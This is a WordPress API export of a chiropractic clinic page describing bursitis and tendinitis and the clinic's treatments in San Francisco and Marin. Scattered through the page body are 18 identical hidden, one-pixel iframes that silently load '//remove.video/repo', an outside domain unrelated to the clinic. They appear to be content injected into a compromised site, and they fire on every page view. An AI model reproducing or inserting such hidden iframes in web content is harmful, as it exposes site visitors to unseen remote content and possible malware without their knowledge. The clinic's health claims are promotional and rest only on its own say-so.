{"id":3225,"date":"2019-01-11T16:47:46","date_gmt":"2019-01-11T16:47:46","guid":{"rendered":"https:\/\/sportschirosanfran.com\/?page_id=3225"},"modified":"2023-08-31T17:32:27","modified_gmt":"2023-08-31T17:32:27","slug":"bursitis-tendinitis-sf","status":"publish","type":"page","link":"https:\/\/sportschirosanfran.com\/bursitis-tendinitis-sf\/","title":{"rendered":"Bursitis &#038; Tendinitis"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"3225\" class=\"elementor elementor-3225\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-31c6ad5f elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"31c6ad5f\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-602af7c1\" data-id=\"602af7c1\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-2e8a82a1 elementor-widget elementor-widget-image\" data-id=\"2e8a82a1\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t<img fetchpriority=\"high\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2023\/08\/bursitis-tendonitis-sf-marin-300x300.jpg\" class=\"attachment-medium size-medium wp-image-8250\" alt=\"bursitis tendonitis sf marin\" srcset=\"https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2023\/08\/bursitis-tendonitis-sf-marin-300x300.jpg 300w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2023\/08\/bursitis-tendonitis-sf-marin-1024x1024.jpg 1024w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2023\/08\/bursitis-tendonitis-sf-marin-150x150.jpg 150w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2023\/08\/bursitis-tendonitis-sf-marin-768x768.jpg 768w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-cc8c42f\" data-id=\"cc8c42f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-63a301f3 elementor-widget elementor-widget-heading\" data-id=\"63a301f3\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h1 class=\"elementor-heading-title elementor-size-default\">Bursitis & Tendonitis\n<br>\nSF & Marin<\/h1>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4852ec1 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4852ec1\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-52cb002\" data-id=\"52cb002\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-e1ca2cb elementor-widget elementor-widget-spacer\" data-id=\"e1ca2cb\" data-element_type=\"widget\" data-widget_type=\"spacer.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-spacer\">\n\t\t\t<div class=\"elementor-spacer-inner\"><\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5f17ec96 elementor-section-stretched elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5f17ec96\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;,&quot;stretch_section&quot;:&quot;section-stretched&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-98f6b28\" data-id=\"98f6b28\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-613d0050 elementor-drop-cap-yes elementor-drop-cap-view-default elementor-widget elementor-widget-text-editor\" data-id=\"613d0050\" data-element_type=\"widget\" data-settings=\"{&quot;drop_cap&quot;:&quot;yes&quot;}\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p><span style=\"color: #000000;\">Dr. Avila uses a number of physical therapy modalities, <a href=\"https:\/\/sportschirosanfran.com\/myofascial-release-technique-sf\/\">active release technique<\/a>, and<a href=\"https:\/\/sportschirosanfran.com\/massage-mission\/\"> soft tissue mobilization<\/a> to address Bursitis and Tendinitis in San Francisco &amp; Marin.\u00a0 <a href=\"https:\/\/sportschirosanfran.com\/chiropractor-mission\/\">Extremity Adjustments<\/a> and Kinesio Taping can also be helpful in calming <a href=\"https:\/\/www.sportschirosanfran.com\/acute-and-chronic-pain\/\">inflammation<\/a> of the extremities.<\/span><\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-da32b2d elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"da32b2d\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-504fa55\" data-id=\"504fa55\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-ef64058 elementor-widget elementor-widget-spacer\" data-id=\"ef64058\" data-element_type=\"widget\" data-widget_type=\"spacer.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-spacer\">\n\t\t\t<div class=\"elementor-spacer-inner\"><\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-48157d19 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"48157d19\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-a1f8eb8\" data-id=\"a1f8eb8\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-inner-section elementor-element elementor-element-502cca4f elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"502cca4f\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-wide\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-21ffeb4d\" data-id=\"21ffeb4d\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-4c54c42e elementor-widget elementor-widget-text-editor\" data-id=\"4c54c42e\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h2>Bursitis and Tendinitis | SF<\/h2><p><a href=\"https:\/\/www.mayoclinic.org\/diseases-conditions\/bursitis\/symptoms-causes\/syc-20353242\" target=\"_blank\" rel=\"noopener\">Bursitis <\/a>is inflammation or irritation of the bursa (small sacs between bones and other moving parts, such as skin, muscles and tendons). Tendinitis is <a href=\"https:\/\/www.sportschirosanfran.com\/anti-inflammatory-diet-sf\/\">inflammation<\/a> or irritation of the tendon (thick fibrous cords that connect muscles to bone). Symptoms of\u00a0 the two conditions are similar and include inflamed soft tissues, limited range of motion, and <a href=\"https:\/\/www.sportschirosanfran.com\/acute-and-chronic-pain\/\">pain<\/a> with movement that replicates the symptoms of joint pain.<\/p><p>Bursitis and Tendinitis are often mistaken for <a href=\"https:\/\/www.sportschirosanfran.com\/arthritis-sf\/\">arthritis<\/a>.\u00a0 For these conditions, pain and stiffness often intensify with movement.\u00a0 The involved area tends to be painless at rest.\u00a0 The swelling associated with tendinitis is often more subtle, while bursitis can cause deformity.<\/p><p>Several named syndromes are associated with tendinitis:<\/p><ul><li><a href=\"https:\/\/www.sportschirosanfran.com\/elbow-pain\/\">Golfer&#8217;s Elbow<\/a><\/li><li><a href=\"https:\/\/www.sportschirosanfran.com\/hand-wrist-arm-pain-sf\/\">Tennis Elbow<\/a><\/li><li><a href=\"https:\/\/www.sportschirosanfran.com\/runners-knee-sf\/\">Runner&#8217;s Knee<\/a><\/li><li><a href=\"https:\/\/www.sportschirosanfran.com\/rotator-cuff-syndrome-sf-2\/\">Rotator Cuff Tendinitis<\/a><\/li><li><a href=\"https:\/\/www.sportschirosanfran.com\/chiropractors-help-with-foot-pain-sf\/\">Achilles Tendinitis<\/a><\/li><li><a href=\"https:\/\/www.sportschirosanfran.com\/foot-pain-sf\/\">Plantar Fasciitis<\/a><\/li><\/ul><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-6f937c5f\" data-id=\"6f937c5f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-6a236911 elementor-widget elementor-widget-text-editor\" data-id=\"6a236911\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h2>Common Causes of Bursitis and Tendinitis | Marin<\/h2><p>Common causes include, injury or overuse.\u00a0 These are often seen in people that have bad posture as altered bio-mechanics can put excess stress on the soft tissue structures.\u00a0 Avoiding overuse and repetitive <a href=\"https:\/\/www.sportschirosanfran.com\/stress-sf\/\">physical stress<\/a> to the affected area is suggested to help with these conditions. Medications may be used to <a href=\"https:\/\/www.sportschirosanfran.com\/anti-inflammatory-diet-sf\/\">reduce inflammation<\/a> that can be associated with tendinitis or bursitis.\u00a0 Natural anti-inflammatories and icing can also be helpful in reducing the pain.<\/p><p>A doctor of <a href=\"https:\/\/sportschirosanfran.com\/chiropractor-mission\/\">chiropractic<\/a> can help alleviate the problem by correcting the underlying joint arrangement and applying physical therapy modalities to reduce inflammation.\u00a0 Soft tissue based therapies such as ART, <a href=\"https:\/\/www.sportschirosanfran.com\/muscle-scraping-sf\/\">muscle scraping<\/a>, and <a href=\"https:\/\/www.sportschirosanfran.com\/scar-tissue-release-sf\/\">scar tissue<\/a> massage also promote healing for these conditions. Home care which should include a solid <span style=\"color: #000000;\">stretching routine <\/span>is often more effective with the use of a massage tool to stimulate lymphatic drainage and break up scar tissue.\u00a0 <\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Bursitis &#038; Tendonitis SF &#038; Marin Dr. Avila uses a number of physical therapy modalities, active release technique, and soft tissue mobilization to address Bursitis and Tendinitis in San Francisco &amp; Marin.\u00a0 Extremity Adjustments and Kinesio Taping can also be helpful in calming inflammation of the extremities. Bursitis and Tendinitis | SF Bursitis is inflammation [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8250,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"_links":{"self":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/pages\/3225"}],"collection":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/comments?post=3225"}],"version-history":[{"count":13,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/pages\/3225\/revisions"}],"predecessor-version":[{"id":8343,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/pages\/3225\/revisions\/8343"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/media\/8250"}],"wp:attachment":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/media?parent=3225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}